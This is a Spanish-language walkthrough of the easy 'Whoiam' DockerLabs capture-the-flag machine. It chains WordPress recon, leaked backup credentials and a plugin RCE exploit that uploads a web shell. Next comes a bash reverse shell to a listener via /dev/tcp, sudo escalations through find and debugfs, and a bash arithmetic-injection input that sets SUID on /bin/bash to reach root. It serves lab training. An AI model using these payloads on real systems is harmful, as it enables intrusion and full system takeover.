Whoiam DockerLabs (Easy)
Instalación
Cuando obtenemos el .zip
nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzip whoiam.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bash auto_deploy.sh whoiam.tar
Info:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C
y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-31 10:14 EST
Nmap scan report for 172.18.0.2
Host is up (0.000031s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-generator: WordPress 6.5.4
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Whoiam
MAC Address: 02:42:AC:12:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.06 seconds
Si entramos en una pagina vemos algo normal, por lo que vamos a realizar un poco de fuzzing
.
whatweb http://<IP>/
Info:
http://172.18.0.2/ [200 OK] Apache[2.4.58], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.58 (Ubuntu)], IP[172.18.0.2], JQuery[3.7.1], MetaGenerator[WordPress 6.5.4], Script, Title[Whoiam], UncommonHeaders[link], WordPress[6.5.4]
Vemos que hay un wordpress
, por lo que vamos a utilizar una herramienta llamada wpscan
.
wpscan
wpscan --url http://172.18.0.2
Info:
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.27
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] Updating the Database ...
[i] Update completed.
[+] URL: http://172.18.0.2/ [172.18.0.2]
[+] Started: Fri Jan 31 10:16:58 2025
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.58 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://172.18.0.2/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://172.18.0.2/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://172.18.0.2/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://172.18.0.2/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 6.5.4 identified (Insecure, released on 2024-06-05).
| Found By: Rss Generator (Passive Detection)
| - http://172.18.0.2/index.php/feed/, <generator>https://wordpress.org/?v=6.5.4</generator>
| - http://172.18.0.2/index.php/comments/feed/, <generator>https://wordpress.org/?v=6.5.4</generator>
[+] WordPress theme in use: twentytwentyfour
| Location: http://172.18.0.2/wp-content/themes/twentytwentyfour/
| Last Updated: 2024-11-13T00:00:00.000Z
| Readme: http://172.18.0.2/wp-content/themes/twentytwentyfour/readme.txt
| [!] The version is out of date, the latest version is 1.3
| [!] Directory listing is enabled
| Style URL: http://172.18.0.2/wp-content/themes/twentytwentyfour/style.css
| Style Name: Twenty Twenty-Four
| Style URI: https://wordpress.org/themes/twentytwentyfour/
| Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...
| Author: the WordPress team
| Author URI: https://wordpress.org
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 1.1 (80% confidence)
| Found By: Style (Passive Detection)
| - http://172.18.0.2/wp-content/themes/twentytwentyfour/style.css, Match: 'Version: 1.1'
[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] modern-events-calendar-lite
| Location: http://172.18.0.2/wp-content/plugins/modern-events-calendar-lite/
| Last Updated: 2022-05-10T21:06:00.000Z
| [!] The version is out of date, the latest version is 6.5.6
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 5.16.2 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://172.18.0.2/wp-content/plugins/modern-events-calendar-lite/readme.txt
| Confirmed By: Change Log (Aggressive Detection)
| - http://172.18.0.2/wp-content/plugins/modern-events-calendar-lite/changelog.txt, Match: '5.16.2'
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:00 <==============================================================================> (137 / 137) 100.00% Time: 00:00:00
[i] No Config Backups Found.
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Fri Jan 31 10:17:02 2025
[+] Requests Done: 188
[+] Cached Requests: 5
[+] Data Sent: 45.131 KB
[+] Data Received: 22.184 MB
[+] Memory used: 284.805 MB
[+] Elapsed time: 00:00:04
Vemos que hay un plugin llamado modern-events-calendar-lite
, por lo que vamos a ver si tuviera algun exploit asociado.
Vemos que hay un exploit
, pero tendremos que tener las credenciales de worpress
para ello:
URL = Exploit GitHub
Si realizamos un poco mas de fuzzing
.
Gobuster
gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 100 -k -r
Info:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://172.18.0.2/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php,txt
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd.php (Status: 403) [Size: 275]
/.htaccess.txt (Status: 403) [Size: 275]
/.htpasswd.html (Status: 403) [Size: 275]
/.htaccess.php (Status: 403) [Size: 275]
/.htpasswd.txt (Status: 403) [Size: 275]
/.htaccess (Status: 403) [Size: 275]
/.htaccess.html (Status: 403) [Size: 275]
/.htpasswd (Status: 403) [Size: 275]
/backups (Status: 200) [Size: 965]
/index.php (Status: 200) [Size: 48516]
/license.txt (Status: 200) [Size: 19915]
/readme.html (Status: 200) [Size: 7401]
/server-status (Status: 403) [Size: 275]
/wp-content (Status: 200) [Size: 0]
/wp-includes (Status: 200) [Size: 58715]
/wp-config.php (Status: 200) [Size: 0]
/xmlrpc.php (Status: 405) [Size: 42]
/wp-trackback.php (Status: 200) [Size: 135]
/wp-login.php (Status: 200) [Size: 4039]
/wp-admin (Status: 200) [Size: 4039]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================
Vemos que encontramos un directorio llamado /backups
que contiene lo siguiente:
Escalate user www-data
databaseback2may.zip
Nos lo descargamos y lo descomprimimos:
unzip databaseback2may.zip
Y veremos el siguiente archivo:
cat 29DBMay
Info:
| Username | Password |
|-----------|-------------------------|
| developer | 2wmy3KrGDRD%RsA7Ty5n71L^|
|-----------|-------------------------|
Por lo que vemos ya tendremos las credenciales, por lo que con el exploit
que encontramos anteriromente lo utilizaremos de la siguiente forma:
python3 exploit.py -T 172.18.0.2 -P 80 -U / -u developer -p 2wmy3KrGDRD%RsA7Ty5n71L^
Info:
/home/kali/Desktop/whoami/exploit.py:23: SyntaxWarning: invalid escape sequence '\ '
banner = """
______ _______ ____ ___ ____ _ ____ _ _ _ _ _ ____
/ ___\ \ / / ____| |___ \ / _ \___ \/ | |___ \| || | / | || || ___|
| | \ \ / /| _| _____ __) | | | |__) | |_____ __) | || |_| | || ||___ \
| |___ \ V / | |__|_____/ __/| |_| / __/| |_____/ __/|__ _| |__ _|__) |
\____| \_/ |_____| |_____|\___/_____|_| |_____| |_| |_| |_||____/
* Wordpress Plugin Modern Events Calendar Lite RCE
* @Hacker5preme
[+] Authentication successfull !
[+] Shell Uploaded to: http://172.18.0.2:80//wp-content/uploads/shell.php
Y vemos que nos creo un shell.php
en la siguiente ruta.
URL = http://<IP>/wp-content/uploads/shell.php
Si entramos a ella veremos lo siguiente:

Vemos que tendremos una shell
interactiva, por lo que haremos lo siguiente.
Escalate user rafa
Vamos a enviarnos una shell
.
bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'
Antes de enviarlo nos pondremos a la escucha:
nc -lvnp <PORT>
Lo ejecutamos el codigo anterior y si volvemos a donde tenemos la escucha, veremos lo siguiente:
listening on [any] 7755 ...
connect to [172.18.0.1] from (UNKNOWN) [172.18.0.2] 44308
bash: cannot set terminal process group (24): Inappropriate ioctl for device
bash: no job control in this shell
www-data@454dd5633d8b:/var/www/html/wp-content/uploads$ whoami
whoami
www-data
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Si hacemos sudo -l
veremos lo siguiente:
Matching Defaults entries for www-data on 454dd5633d8b:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User www-data may run the following commands on 454dd5633d8b:
(rafa) NOPASSWD: /usr/bin/find
Vemos que podremos ejecutar el binario find
como el usuario rafa
, por lo que haremos lo siguiente:
sudo -u rafa find . -exec /bin/bash \; -quit
Con esto seremos el usuario rafa
.
Escalate user ruben
Si hacemos sudo -l
veremos lo siguiente:
Matching Defaults entries for rafa on 454dd5633d8b:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User rafa may run the following commands on 454dd5633d8b:
(ruben) NOPASSWD: /usr/sbin/debugfs
Vemos que podemos ejecutar el binario debugfs
como el usuario ruben
, por lo que haremos lo siguiente:
sudo -u ruben debugfs
!/bin/bash
Y con esto ya seremos dicho usuario.
Escalate Privileges
Si hacemos sudo -l
veremos lo siguiente:
Matching Defaults entries for ruben on 454dd5633d8b:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User ruben may run the following commands on 454dd5633d8b:
(ALL) NOPASSWD: /bin/bash /opt/penguin.sh
Veremos que podremos ejecutar el binario bash
junto al script
llamado penguin.sh
como el usuario root
, por lo que haremos lo siguiente:
Si leemos el script, veremos lo siguiente:
#!/bin/bash
read -rp "Enter guess: " num
if [[ $num -eq 42 ]]
then
echo "Correct"
else
echo "Wrong"
fi
Por lo que vemos si ponemos el numero 42
nos da la frase correcta, por lo que podremos aprovechar esto para hacer lo siguiente:
sudo bash /opt/penguin.sh
Metemos este codigo:
prueba[$(chmod u+s /bin/bash >&2)]+42
Explicacion:
prueba[ ... ]+42
→ Se ve como un intento de asignación de un array en Bash. Pero lo importante es lo que está dentro del[ ... ]
.$(chmod u+s /bin/bash >&2)
→La expresión
$()
ejecuta el comando dentro de ella en un subproceso.chmod u+s /bin/bash
da permisos SUID a/bin/bash
, lo que significa que cualquier usuario que ejecute/bin/bash
tendrá privilegios de root.>&2
redirige la salida estándar astderr
, aunque en este caso no es esencial.
prueba[ ... ]+42
→Bash ejecuta primero el contenido de
$()
antes de asignarlo a una variable.Al ejecutar
chmod u+s /bin/bash
, la bash del sistema ahora tiene permisos de root.Luego,
read
asigna lo que queda (prueba[ ]+42
), pero el daño ya está hecho.
¿Por qué funciona si el script se ejecuta como root?
Si este script es ejecutado por root, cualquier comando dentro de
$()
también se ejecuta con privilegios de root.chmod u+s /bin/bash
solo puede ser ejecutado porroot
, pero en este caso, el usuario aprovecha el script que ya está corriendo como root para que lo haga por él.Después de la ejecución,
/bin/bash
se convierte en un binario SUID, lo que significa que cualquier usuario puede abrir una sesión Bash con privilegios de root
Info:
Enter guess: prueba[$(chmod u+s /bin/bash >&2)]+42
Correct
Y con esto vamos a comprobar que se haya aplicado correctamente.
ls -la /bin/bash
Info:
-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
Vemos que ha funcionado estableciendo los permisos SUID
a la bash
, por lo que haremos lo siguiente:
bash -p
Info:
bash-5.2# whoami
root
Y con esto veremos que seremos el usuario root
, por lo que habremos termiando la maquina.
Last updated